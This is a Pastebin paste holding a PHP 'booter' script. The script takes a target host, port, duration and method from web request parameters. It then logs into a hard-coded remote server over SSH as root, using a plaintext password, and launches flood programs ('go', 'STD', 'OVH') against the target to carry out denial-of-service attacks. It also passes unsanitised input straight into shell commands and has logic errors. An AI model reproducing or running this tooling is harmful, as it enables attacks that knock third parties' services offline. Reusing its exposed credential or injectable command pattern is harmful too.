Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- include('Net/SSH2.php');
- $address = "151.139.31.75";
- //Your SSH Port (Don't Touch If You're Not Sure)
- $serverPort = 22;
- //SSH User (By Default 'root')
- $user = "root";
- //SSH User's Password
- $password = "Imgay123*";
- if (!function_exists("ssh2_connect")){ die("Please Install PHP-SSH2!"); }
- //variables for attack time, target host & port ect.
- $time = $_GET["time"];
- $method = $_GET["method"];
- $host = $_GET["host"];
- $port = $_GET["port"];
- $threads = $_GET["threads"];
- if(empty($time)){die("Please fill in all parameters!");}
- if(empty($method)){die("Please fill in all parameters!");}
- if(empty($host)){die("Please fill in all parameters!");}
- if(empty($port)){die("Please fill in all parameters!");}
- if(!in_array($method, $methods)){ die("Invalid Method..."); }
- //Customize your methods here, if you do not know what you are doing, please ask someone who does to help you out!
- $methods = array("GO", "STD", "OVH");
- function send(){
- global $method;
- global $methods;
- global $address;
- global $port;
- global $threads;
- global $serverPort;
- global $user;
- global $password;
- global $time;
- global $host;
- $connection = ssh2_connect($address, $serverPort);
- if(ssh2_auth_password($connection, $user, $password)){
- //set your max attack time here
- if($time > 2000){ die("You've Exceeded The Max Time!"); }
- if($method == "UDP"){if(ssh2_exec($connection, "screen -dm ./go $host $threads $time")){echo "Attack sent to $host for $time seconds!";}else{die("Ran into a error");}}
- if($method == "STD"){if(ssh2_exec($connection, "screen -dm ./STD $host $port $time")){echo "Attack sent to $host:$port for $time seconds using $method!";}else{die("Ran into a error");}}
- if($method == "OVH"){if(ssh2_exec($connection, "screen -dm ./OVH $host $port $time")){echo "Attack sent to $host:$port for $time seconds using $method!";}else{die("Ran into a error");}}
- }else{
- die("Could not login to remote server, this may be a error with the login credentials.");
- }
- }
- send();
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement